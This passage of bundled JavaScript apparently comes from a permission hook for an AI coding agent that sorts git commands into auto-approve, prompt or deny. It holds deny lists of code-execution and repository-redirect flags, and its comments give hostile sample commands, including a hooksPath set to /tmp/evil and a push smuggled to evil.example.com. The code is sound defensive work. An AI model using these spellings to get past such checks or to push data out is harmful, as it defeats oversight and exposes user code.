keeps\n* handling those tokens exactly as it does today.\n*\n* Otherwise walks the characters after the leading `-` left to right,\n* collecting each into `letters`, and stops at the first character that is a\n* required-value option letter for `sub` -- that letter is the last one\n* collected, and the remainder of the token (possibly empty) becomes\n* `attachedValue`, never inspected as flags again.\n*\n* Worked cases:\n* - `-fc` (switch or checkout) -> letters `[\"f\", \"c\"]`, no attached value --\n* `f` never stops the scan, so `c`/`C` is just collected as another letter\n* unless the subcommand's own value-taking set includes it earlier.\n* - `-cf` (switch) -> letters `[\"c\"]`, attached value `\"f\"`.\n* - `-cfeat/x` (switch) -> letters `[\"c\"]`, attached value `\"feat/x\"`.\n* - `-c` (switch) -> letters `[\"c\"]`, attached value `\"\"` (git reads the\n* branch name from the next argv element).\n*/\nfunction splitShortOptionCluster(token, sub) {\n if (!token.startsWith(\"-\") || token.startsWith(\"--\") || token.length <= 1) return;\n const valueLetters = VALUE_TAKING_LETTERS[sub];\n const letters = [];\n const chars = token.slice(1);\n for (let i = 0; i < chars.length; i++) {\n const ch = chars[i];\n letters.push(ch);\n if (valueLetters.has(ch)) return {\n letters,\n attachedValue: chars.slice(i + 1)\n };\n }\n return { letters };\n}\n\n//#endregion\n//#region src/lib/path-scope.ts\n/**\n* Path-containment helpers that are correct across operating systems.\n*\n* The hook receives a `cwd` from its host. On Windows the same location can be\n* spelled with either drive-letter case (`D:\\proj` vs `d:\\proj`) -- the IDE is\n* inconsistent -- and NTFS treats them as identical. Plain `===` / `startsWith`\n* comparisons on the resolved path therefore misfire whenever the drive-letter\n* case differs, falling through to passthrough (reads) or a false\n* \"outside the project\" deny (writes).\n*\n* The fix: pick the path flavor (win32 vs posix) from the *trusted* base path --\n* `cwd` -- and run every resolve/compare through that flavor. win32's\n* `relative()` is case-insensitive and separator-aware, so drive-letter case no\n* longer matters; posix stays case-sensitive, as that filesystem demands.\n* Deriving the flavor from the base (not the incoming target) means a crafted\n* target can't flip the comparison mode.\n*/\n/** Select the path flavor implied by a base path (a leading drive letter => win32). */\nfunction pathFlavorFor(base) {\n return /^[a-zA-Z]:[\\\\/]/.test(base) ? path.win32 : path.posix;\n}\n/** Resolve `target` against `base` using the flavor implied by `base`. */\nfunction resolveIn(base, target) {\n return pathFlavorFor(base).resolve(base, target);\n}\n/**\n* Whether `target` is `dir` itself or nested beneath it, compared with `dir`'s\n* flavor. `target` is expected to be already resolved (absolute); pass it through\n* `resolveIn` first when it may be relative or contain `..`.\n*/\nfunction isWithin(dir, target) {\n const pp = pathFlavorFor(dir);\n const rel = pp.relative(dir, target);\n if (rel === \"\") return true;\n if (rel === \"..\" || rel.startsWith(\"..\" + pp.sep)) return false;\n return !pp.isAbsolute(rel);\n}\n/** Whether two paths refer to the same location, compared with `a`'s flavor. */\nfunction samePath(a, b) {\n return pathFlavorFor(a).relative(a, b) === \"\";\n}\n/**\n* Whether `filePath` (resolved against `cwd`) is a `.git` directory\n* anywhere under `cwd` -- top-level or nested inside a subdirectory repo --\n* or anything beneath one. Covers both the directory in a normal clone and\n* the gitdir-pointer *file* git writes at the root of a worktree checkout\n* (both cases have a path segment exactly equal to `.git`).\n*\n* A nested repo's git dir (`<cwd>/sub/.git/config`) is just as sensitive as\n* the top-level one: an unguarded write there can add a malicious remote or\n* rewrite push config that a later `cd sub && git push` trusts. So this\n* checks every path segment of `filePath` resolved against `cwd`, not just\n* `<cwd>/.git` -- matching `.git` at *any* depth, as long as the resolved\n* path stays within `cwd` (paths outside `cwd` are handled by the\n* outside-cwd-write rule instead).\n*\n* Matches on a resolved path *segment* exactly equal to `.git`, not a\n* substring, so it does not mistake `.gitignore`, `.gitkeep`, `.github/`,\n* `src/foo.git.ts`, or a directory merely named `mygit`/`git` for a `.git/`\n* target.\n*/\nfunction targetsGitDir(filePath, cwd) {\n const pp = pathFlavorFor(cwd);\n const resolved = resolveIn(cwd, filePath);\n if (!isWithin(cwd, resolved)) return false;\n const rel = pp.relative(cwd, resolved);\n if (rel === \"\") return false;\n return rel.split(pp.sep).includes(\".git\");\n}\n/**\n* Whether `filePath` (resolved against `cwd`) has a path segment exactly equal\n* to `node_modules` -- i.e. it names a location inside *any* installed package\n* tree, at any depth, including pnpm's virtual store\n* (`node_modules/.pnpm/<pkg>/node_modules/<pkg>/...`).\n*\n* **Deliberately not scoped to `cwd`**, unlike `targetsGitDir`. pnpm populates\n* `node_modules` with *hardlinks into the global content-addressable store*, so\n* a single in-place overwrite of an installed file (a plain `cp`, a `>`\n* redirect -- anything that opens the destination `O_WRONLY|O_TRUNC` rather than\n* unlinking it first) writes *through* the link and mutates the store's own\n* content-addressed file. That corrupts the package for the global store, every\n* other project on the machine that shares the inode, and every future install\n* or `pnpm dlx` that hardlinks it -- with no error at the scene, because the\n* directory that did the writing ends up perfectly consistent.\n*\n* This is exactly how a local `@bensandee/tooling` build landed on top of the\n* published 0.64.2 in the store on 2026-07-13: `cp -r <local>/dist/*` over a\n* scratch consumer's `node_modules/@bensandee/tooling/dist/`. The destination\n* was outside `cwd` -- so a cwd-scoped check would not have seen it -- and the\n* store stayed broken until a consumer's `pnpm dlx` failed days later with\n* `ERR_MODULE_NOT_FOUND` for a chunk that no published tarball has ever\n* contained.\n*\n* The lesson encoded here: **cwd-containment is not a safety boundary for\n* `node_modules`.** A path inside it is not \"in the project\" in any meaningful\n* sense -- it is a shared, machine-global resource wearing a local path. Hence\n* every segment of the *resolved* path is checked, wherever it lands.\n*\n* Matches on a path *segment*, not a substring, so `src/node_modules_helper.ts`\n* and `docs/node_modules.md` are not mistaken for the real thing.\n*/\nfunction targetsNodeModules(filePath, cwd) {\n return resolveIn(cwd, filePath).split(/[/\\\\]/).includes(\"node_modules\");\n}\n\n//#endregion\n//#region src/rules.ts\nconst GIT_READ_OPS = /* @__PURE__ */ new Set([\n \"status\",\n \"log\",\n \"diff\",\n \"show\",\n \"blame\",\n \"grep\",\n \"shortlog\",\n \"range-diff\",\n \"describe\",\n \"branch\",\n \"remote\",\n \"fetch\",\n \"ls-files\",\n \"ls-tree\",\n \"ls-remote\",\n \"show-ref\",\n \"for-each-ref\",\n \"rev-parse\",\n \"rev-list\",\n \"cat-file\",\n \"diff-tree\",\n \"name-rev\",\n \"merge-base\",\n \"check-ignore\"\n]);\n/** Git subcommands that modify the working tree, index, or history. */\nconst GIT_WRITE_OPS = /* @__PURE__ */ new Set([\n \"push\",\n \"add\",\n \"commit\",\n \"reset\",\n \"merge\",\n \"rebase\",\n \"cherry-pick\",\n \"checkout\",\n \"switch\",\n \"stash\",\n \"tag\",\n \"revert\",\n \"clean\",\n \"rm\",\n \"mv\"\n]);\n/** Flags on git that enable arbitrary code execution */\nconst GIT_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n \"-c\",\n \"--exec-path\",\n \"--pager\",\n \"--upload-pack\",\n \"--receive-pack\"\n]);\n/** Git global flags that consume the next token as an argument. */\nconst GIT_FLAGS_WITH_ARG = /* @__PURE__ */ new Set([\n \"-C\",\n \"-c\",\n \"--git-dir\",\n \"--work-tree\"\n]);\n/** Extract the git subcommand (first non-flag token after \"git\"), skipping flag arguments. */\nfunction getGitSubcommand(tokens) {\n const args = tokens.slice(1);\n for (let i = 0; i < args.length; i++) {\n const t = args[i];\n if (GIT_FLAGS_WITH_ARG.has(t)) {\n i++;\n continue;\n }\n if (t.startsWith(\"-\")) continue;\n return t;\n }\n}\nfunction isGitReadOp(tokens) {\n for (const t of tokens.slice(1)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || t === \"-o\" || t.startsWith(\"--output\")) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\") || t.startsWith(\"--output=\")) return false;\n }\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n return stashAction === \"list\" || stashAction === void 0;\n }\n if (sub === \"remote\") {\n let actionIdx = tokens.indexOf(\"remote\") + 1;\n while (tokens[actionIdx] === \"-v\" || tokens[actionIdx] === \"--verbose\") actionIdx++;\n const remoteAction = tokens[actionIdx];\n return remoteAction === void 0 || remoteAction === \"-v\" || remoteAction === \"--verbose\" || remoteAction === \"show\" || remoteAction === \"get-url\";\n }\n return GIT_READ_OPS.has(sub);\n}\nfunction isGitWriteOp(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n if (stashAction === \"list\" || stashAction === void 0) return false;\n }\n return GIT_WRITE_OPS.has(sub);\n}\n/** Safe stash actions that don't risk data loss. */\nconst STASH_SAFE_ACTIONS = /* @__PURE__ */ new Set([\n \"push\",\n \"pop\",\n \"apply\",\n \"show\"\n]);\n/**\n* Positional (non-flag) path arguments of a `git mv` command. The caller only\n* invokes this once the subcommand is known to be `mv`, so `mv` is present.\n* `git mv` flags (-f/--force, -k, -n/--dry-run, -v/--verbose) never consume a\n* separate argument, so every non-flag token after `mv` is a path.\n*/\nfunction gitMvPaths(tokens) {\n const mvIdx = tokens.indexOf(\"mv\");\n return tokens.slice(mvIdx + 1).filter((t) => !t.startsWith(\"-\"));\n}\n/**\n* True when a short-option letter appears in any cluster after `sub`, or one of\n* `longFlags` appears verbatim. Neither `git rm` nor `git clean` has a short\n* flag taking an attached value, so a plain character scan is exact for them;\n* `git clean -e<pattern>` does, and a pattern containing the letter only ever\n* produces a false positive, which leaves the caller on the deny side.\n*/\nfunction hasShortLetterOrLongFlag(tokens, sub, letter, longFlags) {\n for (const t of tokens.slice(tokens.indexOf(sub) + 1)) {\n if (!t.startsWith(\"-\")) continue;\n if (t.startsWith(\"--\")) {\n if (longFlags.includes(t)) return true;\n continue;\n }\n if (t.slice(1).includes(letter)) return true;\n }\n return false;\n}\n/**\n* `git mv` and `git rm` are not auto-approvable, but they are not known-unsafe\n* either: the shell spellings they mirror already reach a prompt, and `git rm`\n* additionally refuses a file carrying uncommitted changes unless forced -- so\n* denying it while prompting for `rm` inverts the tiers.\n*\n* `git rm -r` stays denied to mirror the `rm-recursive` rule, which cannot\n* cover it: that rule matches on tokens[0] (`/^rm$/`) and never sees `git`.\n*/\nfunction isGitWorktreeMoveOrRemove(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"mv\" && sub !== \"rm\") return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n if (sub === \"rm\" && hasShortLetterOrLongFlag(tokens, sub, \"r\", [\"--recursive\"])) return false;\n return true;\n}\nconst WORKTREE_ADVICE = \"You're creating a feature branch in the primary worktree. An isolated worktree keeps this work independent of other windows, and with no commits on this branch yet, converting is cheap -- `git worktree add ../<dir> -b <branch>` (a sibling outside the repo, with its own dependency install). But it is the home of a **separate session opened there**: writes to a path outside this session's project directory are denied, so this session cannot edit it. If you cannot open a session there, stay in the primary checkout on this branch and check `git branch --show-current` before each commit.\";\n/**\n* True when the command creates a branch: `git checkout -b/-B` or\n* `git switch -c/-C`, including those letters carried in a short-option\n* cluster with other letters or an attached value (`-bfix-bug`, `-qc\n* feat/x`). A plain `git switch <branch>` is not creation. Long spellings\n* (`--create`, `--force-create`) are deliberately not recognized as creation\n* here -- only the short grammar is in scope.\n*/\nfunction isGitBranchCreation(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"checkout\" && sub !== \"switch\") return false;\n const after = tokens.slice(tokens.indexOf(sub) + 1);\n const creationLetters = sub === \"checkout\" ? [\"b\", \"B\"] : [\"c\", \"C\"];\n return after.some((t) => {\n const cluster = splitShortOptionCluster(t, sub);\n return cluster !== void 0 && cluster.letters.some((l) => creationLetters.includes(l));\n });\n}\n/**\n* Every branch name a force-create spelling in `after` (the tokens following\n* the subcommand -- and past `add`, for `worktree add`) targets. Usually zero\n* or one, but git's last-occurrence-wins on a repeated force-create flag is\n* not modeled: every occurrence contributes its target, so a repeated flag\n* (`git switch -C main -C feat/x`) denies conservatively rather than\n* resolving which one wins.\n*\n* Grammar, reusing `splitShortOptionCluster`: a cluster whose letters include\n* the force letter (`C` for switch, `B` for checkout and worktree add)\n* contributes its attached value when non-empty, else the next argv token;\n* an unambiguous prefix of `--force-create` (switch only -- `--force-` is\n* the shortest, since `--force` is itself a distinct exact option) contributes\n* the next argv token; the same prefix with a `=<name>` suffix contributes the\n* attached name. A force-create flag with nothing after it (a valueless\n* trailing `-C`, or `--force-create` as the last token) resolves no target\n* for that occurrence -- git errors on the command anyway, so today's routing\n* is preserved.\n*/\nfunction gitForceCreateTargets(after, letterSub) {\n const forceLetter = letterSub === \"switch\" ? \"C\" : \"B\";\n const targets = [];\n for (let i = 0; i < after.length; i++) {\n const t = after[i];\n if (t === void 0) continue;\n if (letterSub === \"switch\") {\n const [flag, ...rest] = t.split(\"=\");\n if (flag !== void 0 && flag.length >= 8 && \"--force-create\".startsWith(flag)) {\n const target = rest.length > 0 ? rest.join(\"=\") : after[i + 1];\n if (target !== void 0) targets.push(target);\n continue;\n }\n }\n const cluster = splitShortOptionCluster(t, letterSub);\n if (cluster === void 0 || !cluster.letters.includes(forceLetter)) continue;\n if (cluster.attachedValue !== void 0 && cluster.attachedValue !== \"\") {\n targets.push(cluster.attachedValue);\n continue;\n }\n const next = after[i + 1];\n if (next !== void 0) targets.push(next);\n }\n return targets;\n}\n/**\n* Every branch name a force-create spelling targets in a full `git ...`\n* command: `switch -C`/`--force-create`, `checkout -B`, or `worktree add -B`.\n* Any other subcommand -- including `worktree list`/`remove`/`move` -- always\n* resolves no target. `worktree add` reuses checkout's `-b`/`-B` grammar\n* (identical required-value letter), so no new letter set is needed.\n*/\nfunction gitCommandForceCreateTargets(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub === \"switch\" || sub === \"checkout\") return gitForceCreateTargets(tokens.slice(tokens.indexOf(sub) + 1), sub);\n if (sub === \"worktree\") {\n const worktreeIdx = tokens.indexOf(\"worktree\");\n if (tokens[worktreeIdx + 1] !== \"add\") return [];\n return gitForceCreateTargets(tokens.slice(worktreeIdx + 2), \"checkout\");\n }\n return [];\n}\n/**\n* True when a `switch`/`checkout`/`worktree add` command force-creates a\n* branch under a name in the protected set. Force-create resets an existing\n* branch to the start point (HEAD by default) rather than merely creating\n* it, so this is a claim about the TOKENS, not the current branch -- unlike\n* isGitProtectedBranchWrite (below), this never calls getCurrentBranch and is\n* valid even outside a repository, where main/master are protected\n* unconditionally.\n*/\nfunction isGitProtectedBranchForceCreate(tokens, ctx) {\n const targets = gitCommandForceCreateTargets(tokens);\n if (targets.length === 0) return false;\n const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n return targets.some((t) => protectedSet.has(t));\n}\n/**\n* True when a global flag sits before the subcommand that enables config or\n* executable injection (GIT_DANGEROUS_FLAGS) or repoints git at an arbitrary\n* directory (GIT_REPO_REDIRECT_FLAGS). Global flags sit *before* the\n* subcommand; only that span is inspected so a positional argument that\n* happens to be spelled \"-C\" is never mistaken for the flag. Shared by\n* isGitSafeWriteOp and isGitBareCheckout -- mirrors isGitFeatureBranchWrite's\n* and isGitSafePush's identical scans (same constants, same rationale).\n* Without this, `git -c core.hooksPath=/tmp/evil add file.txt` or\n* `git -C /etc worktree add ../wt feat/x` would auto-approve via the\n* branches below.\n*/\nfunction hasGitPreSubcommandDangerousFlag(tokens, sub) {\n const subIdx = tokens.indexOf(sub);\n for (const t of tokens.slice(1, subIdx)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return true;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return true;\n }\n return false;\n}\n/**\n* True for a `checkout` that isn't branch creation (`-b`/`-B`, which stays\n* auto-approved via isGitSafeWriteOp -- deny rules run before allow rules\n* unconditionally, so a predicate that forgot to exclude them would start\n* denying branch creation) and carries no global config/exec-injection or\n* repo-redirect flag (those keep routing to the git-write catch-all, whose\n* message already covers them).\n*\n* `git checkout <ref>` (branch change) and `git checkout -- <path>` / `git\n* checkout <ref> -- <path>` (file restore) are not distinguishable from\n* syntax alone, so this predicate -- and the single deny rule built on it --\n* deliberately covers both shapes with one message carrying both redirects,\n* rather than two rules guessing at which one a bare `git checkout <arg>` is.\n*/\nfunction isGitBareCheckout(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"checkout\") return false;\n if (isGitBranchCreation(tokens)) return false;\n return !hasGitPreSubcommandDangerousFlag(tokens, sub);\n}\n/**\n* `git checkout -- <path>` restores files; the separator makes the argument\n* unambiguously a path rather than a branch. It discards uncommitted work, so\n* it is never auto-approved -- but `git restore -- <path>`, the spelling\n* git-bare-checkout's reason redirects to, only prompts. One risk, one tier.\n*\n* A `-f` spelling still denies: git-discard-changes is evaluated first.\n*\n* A trailing separator with nothing after it (`git checkout main --`, `git\n* checkout --`) is not a restore -- there is no pathspec to redirect to\n* `git restore`, so it keeps the bare-checkout deny.\n*/\nfunction isGitCheckoutPathRestore(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"checkout\") return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n const rest = tokens.slice(tokens.indexOf(sub) + 1);\n const separatorIndex = rest.indexOf(\"--\");\n if (separatorIndex === -1) return false;\n return rest.slice(separatorIndex + 1).some((token) => !token.startsWith(\"-\"));\n}\n/**\n* True when a `switch`/`checkout` command carries a discard-changes spelling\n* after the subcommand: a prefix of `--force` or of `--discard-changes` (`--f`\n* and `--di` and longer -- git's parse-options accepts any unambiguous\n* long-option prefix), or a short cluster whose letters (before any\n* required-value option's attached value) contain `f`.\n*\n* Both long tests read `\"--force\".startsWith(token)`, never\n* `token.startsWith(\"--force\")`. `--force-create` shares the `--force` stem\n* and is a safe, auto-approved flag, so the reversed test would start denying\n* branch creation -- deny rules run before allow rules.\n*\n* This predicate has to be exhaustive rather than merely picking the deny\n* message: isGitUnrecognizedBranchFlag routes a flag outside the safe sets to\n* a human prompt, so a discard spelling missed here would soften to a prompt\n* instead of falling through to a deny.\n*/\nfunction isGitDiscardChanges(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"switch\" && sub !== \"checkout\") return false;\n return tokens.slice(tokens.indexOf(sub) + 1).some((t) => {\n if (t.length >= 3 && \"--force\".startsWith(t)) return true;\n if (t.length >= 4 && \"--discard-changes\".startsWith(t)) return true;\n return splitShortOptionCluster(t, sub)?.letters.includes(\"f\") ?? false;\n });\n}\n/**\n* Tokens safe after `switch`, exact-match only. An allowlist rather than a\n* denylist of `-f`/`--discard-changes`: git accepts unambiguous prefixes\n* (`--disc`) and short clusters (`-fc`), so a denylist of exact spellings\n* would not hold. `-` (previous-branch shorthand) is flag-shaped and must be\n* listed explicitly, or it would fall through to the deny side.\n*/\nconst GIT_SWITCH_SAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-c\",\n \"-C\",\n \"--create\",\n \"--force-create\",\n \"-d\",\n \"--detach\",\n \"-t\",\n \"--track\",\n \"--track=direct\",\n \"--track=inherit\",\n \"--no-track\",\n \"--guess\",\n \"--no-guess\",\n \"-q\",\n \"--quiet\",\n \"--progress\",\n \"--no-progress\",\n \"-\"\n]);\n/**\n* Tokens safe after `checkout`, kept separate from the switch set: `-c` is a\n* switch-only spelling and `-b`/`-B` are checkout-only, and sharing one set\n* would auto-approve each subcommand's flags on the other.\n*/\nconst GIT_CHECKOUT_SAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-b\",\n \"-B\",\n \"-t\",\n \"--track\",\n \"--track=direct\",\n \"--track=inherit\",\n \"--no-track\",\n \"--guess\",\n \"--no-guess\",\n \"-q\",\n \"--quiet\",\n \"--progress\",\n \"--no-progress\"\n]);\n/**\n* True when a flag-shaped switch/checkout token is safe: it is an exact\n* member of `safe`, or the helper reads it as a cluster whose every letter,\n* spelled `-<letter>`, is a member of `safe`. Exact-set membership is always\n* tried first and is the only test a non-cluster token (`-`, every long\n* flag) ever gets, so those keep matching exactly as they do today -- the\n* cluster reading is a fallback for short clusters only.\n*/\nfunction isSafeSwitchCheckoutFlag(t, sub, safe) {\n if (safe.has(t)) return true;\n const cluster = splitShortOptionCluster(t, sub);\n return cluster !== void 0 && cluster.letters.every((l) => safe.has(`-${l}`));\n}\n/**\n* True for a `switch`, or a branch-creating `checkout`, that the safe-flag\n* allowlists reject only because a flag is unrecognized -- `--orphan`,\n* `--conflict=`, `--recurse-submodules`, an abbreviation of a safe flag.\n* Ambiguous, not known-unsafe: the allowlists enumerate what has been\n* reasoned about, and a legitimate flag nobody listed must reach a human\n* prompt rather than a hard deny (blocking something safe is the failure\n* direction this hook does not accept). Mirrors\n* isGitPushWithoutExplicitRefspec's role in the same git-write `when`.\n*\n* Three shapes are deliberately left to deny instead: a discard spelling\n* (git-discard-changes, and isGitDiscardChanges is exhaustive so that this\n* predicate cannot soften one to a prompt), a `checkout` that creates no\n* branch (git-bare-checkout, whose message carries the restore redirect), and\n* a global config/exec-injection or repo-redirect flag, which keeps routing to\n* the git-write catch-all exactly as isGitBareCheckout leaves it.\n*/\nfunction isGitUnrecognizedBranchFlag(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"switch\" && sub !== \"checkout\") return false;\n if (isGitDiscardChanges(tokens)) return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n const after = tokens.slice(tokens.indexOf(sub) + 1);\n if (sub === \"checkout\" && !isGitBranchCreation(tokens)) return false;\n const safe = sub === \"switch\" ? GIT_SWITCH_SAFE_FLAGS : GIT_CHECKOUT_SAFE_FLAGS;\n return after.some((t) => t.startsWith(\"-\") && !isSafeSwitchCheckoutFlag(t, sub, safe));\n}\n/**\n* Git write operations that are safe to auto-approve:\n* - `git add` -- staging is trivially reversible\n* - `git checkout -b/-B` -- branch creation, without a discarding flag\n* - `git switch -c/-C` -- branch creation, without a discarding flag\n* - `git switch <branch>` -- branch switching, without a discarding flag\n* (switch only handles branches, unlike checkout)\n* - `git stash` / `git stash push|pop|apply|show` -- reversible stash operations\n* - `git mv` -- only when every path is a `.md` file under `docs/` (plan-lifecycle moves)\n*/\nfunction isGitSafeWriteOp(tokens, ctx) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n if (sub === \"add\") return true;\n if (sub === \"mv\") {\n const GIT_MV_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-C\",\n \"--git-dir\",\n \"--work-tree\",\n \"-c\",\n \"--exec-path\"\n ]);\n if (tokens.some((t) => GIT_MV_UNSAFE_FLAGS.has(t) || t.startsWith(\"--exec-path=\"))) return false;\n const paths = gitMvPaths(tokens);\n return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n }\n if (sub === \"checkout\") {\n const afterCheckout = tokens.slice(tokens.indexOf(\"checkout\") + 1);\n if (!isGitBranchCreation(tokens)) return false;\n if (!afterCheckout.every((t) => !t.startsWith(\"-\") || isSafeSwitchCheckoutFlag(t, \"checkout\", GIT_CHECKOUT_SAFE_FLAGS))) return false;\n return !isGitProtectedBranchForceCreate(tokens, ctx);\n }\n if (sub === \"switch\") {\n if (!tokens.slice(tokens.indexOf(\"switch\") + 1).every((t) => !t.startsWith(\"-\") || isSafeSwitchCheckoutFlag(t, \"switch\", GIT_SWITCH_SAFE_FLAGS))) return false;\n return !isGitProtectedBranchForceCreate(tokens, ctx);\n }\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n if (stashAction === void 0) return true;\n return STASH_SAFE_ACTIONS.has(stashAction);\n }\n if (sub === \"worktree\") {\n const worktreeAction = tokens[tokens.indexOf(\"worktree\") + 1];\n if (worktreeAction !== \"list\" && worktreeAction !== \"add\") return false;\n return !isGitProtectedBranchForceCreate(tokens, ctx);\n }\n return false;\n}\n/** Git subcommands eligible for the feature-branch auto-approval. */\nconst GIT_FEATURE_BRANCH_OPS = /* @__PURE__ */ new Set([\n \"commit\",\n \"merge\",\n \"rebase\",\n \"cherry-pick\",\n \"revert\",\n \"reset\"\n]);\n/** Global git flags that redirect the effective repository/work tree. */\nconst GIT_REPO_REDIRECT_FLAGS = /* @__PURE__ */ new Set([\n \"-C\",\n \"--git-dir\",\n \"--work-tree\"\n]);\n/**\n* Checks (2)-(4) of the feature-branch predicate -- subcommand membership\n* plus the three flag guards -- with the branch check (5) left out. \"Eligible\n* but for the branch\": isGitFeatureBranchWrite adds \"and the branch isn't\n* protected\", isGitProtectedBranchWrite adds \"and the branch is protected\".\n* A command this rejects (a dangerous flag, say) has no valid redirect to\n* the feature-branch path either way -- it stays on the git-write catch-all,\n* which is why both callers share this instead of each re-deriving their own\n* notion of \"would work on a feature branch\".\n*/\nfunction isGitFeatureBranchEligible(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub || !GIT_FEATURE_BRANCH_OPS.has(sub)) return false;\n for (const t of tokens.slice(1)) {\n if (GIT_DANGEROUS_FLAGS.has(t)) return false;\n if (t === \"-o\" || t.startsWith(\"--output\")) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\")) return false;\n }\n for (const t of tokens.slice(1)) {\n if (GIT_REPO_REDIRECT_FLAGS.has(t)) return false;\n if (t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return false;\n }\n if (sub === \"rebase\") {\n for (const t of tokens.slice(1)) if (t === \"--exec\" || t === \"-x\" || t.startsWith(\"--exec=\")) return false;\n }\n return true;\n}\n/**\n* True when:\n* 1.-4. isGitFeatureBranchEligible(tokens);\n* 5. getCurrentBranch(ctx.cwd) is non-null AND not in the protected set.\n*\n* Both must hold. Any failure -> return false and let the deny rules fire.\n*/\nfunction isGitFeatureBranchWrite(tokens, ctx) {\n if (!isGitFeatureBranchEligible(tokens)) return false;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return false;\n return !getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(current);\n}\n/**\n* True when a write is eligible for the feature-branch auto-approval\n* (isGitFeatureBranchEligible) but the current branch is known and\n* protected. An unknown branch -- detached HEAD, outside a repo, git state\n* unreadable -- must NOT take this rule: \"you are on a protected branch\" is\n* a claim the hook cannot make there, so those keep falling through to the\n* git-write catch-all.\n*/\nfunction isGitProtectedBranchWrite(tokens, ctx) {\n if (!isGitFeatureBranchEligible(tokens)) return false;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return false;\n return getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(current);\n}\n/** Push flags that move refs we never auto-approve: bulk, tags, deletes. */\nconst GIT_PUSH_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"--mirror\",\n \"--all\",\n \"--tags\",\n \"--follow-tags\",\n \"--delete\",\n \"-d\",\n \"--prune\"\n]);\n/**\n* Push-specific flags that redirect the destination or the remote-side helper\n* program independently of the positional remote/refspec parsing below.\n* `--repo` is equivalent to (and overrides) the positional <repository>\n* argument -- `git push --repo=<url>` can push to an arbitrary host even with\n* zero positional args, bypassing the \"known remote\" check entirely.\n* `--receive-pack`/`--exec` tell git which program to invoke as the remote\n* helper; on local/dumb transports git runs that program directly, so this is\n* local code execution, not just a remote-side concern. All three are unlike\n* `-C`/`--git-dir`/`--work-tree` (GIT_REPO_REDIRECT_FLAGS) in that they are\n* push subcommand options, not global git flags, so they only need checking\n* after the subcommand -- but the checking still has to happen.\n*/\nconst GIT_PUSH_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n \"--repo\",\n \"--receive-pack\",\n \"--exec\"\n]);\nconst GIT_PUSH_DANGEROUS_FLAG_PREFIXES = [\n \"--repo=\",\n \"--receive-pack=\",\n \"--exec=\"\n];\n/**\n* `-o`/`--push-option` send a string to the receiving hook -- but the reason\n* they must be rejected here is parsing, not the hook side effect. Unlike\n* `--repo`/`--receive-pack`/`--exec` above, which only ever appear as\n* `--flag=value`, `-o`/`--push-option` take a *space-separated* value\n* (`-o origin https://evil.example.com/x.git HEAD`). Left unrejected, that\n* value token survives the `!t.startsWith(\"-\")` positional filter below and\n* is mistaken for the remote, silently shifting the real destination into\n* the refspec position -- bypassing the \"known remote\" check in (5) entirely.\n* The `=` forms (`-o=value`, `--push-option=value`) aren't exploitable this\n* way (the URL stays a refspec and gets caught by the remote check), but are\n* rejected too rather than relying on that distinction holding up.\n*/\nconst GIT_PUSH_VALUE_FLAGS = /* @__PURE__ */ new Set([\"-o\", \"--push-option\"]);\nconst GIT_PUSH_VALUE_FLAG_PREFIXES = [\"-o=\", \"--push-option=\"];\n/**\n* The ref a refspec writes to. `src:dst` targets dst; a bare `ref` targets the\n* same name on the remote. Strips the leading \"+\" (force) -- callers reject that\n* separately -- and any `refs/heads/` prefix.\n*/\nfunction refspecDestination(refspec) {\n const spec = refspec.startsWith(\"+\") ? refspec.slice(1) : refspec;\n const colon = spec.lastIndexOf(\":\");\n return (colon === -1 ? spec : spec.slice(colon + 1)).replace(/^refs\\/heads\\//, \"\");\n}\n/**\n* Structural safety check shared by `isGitSafePush` and\n* `isGitPushWithoutExplicitRefspec`. Every condition must hold:\n*\n* 1. No global dangerous flag (config/exec injection) or repo-redirect flag.\n* 2. No bulk/tag/delete flag (GIT_PUSH_UNSAFE_FLAGS), no --repo /\n* --receive-pack / --exec (GIT_PUSH_DANGEROUS_FLAGS), and no -o 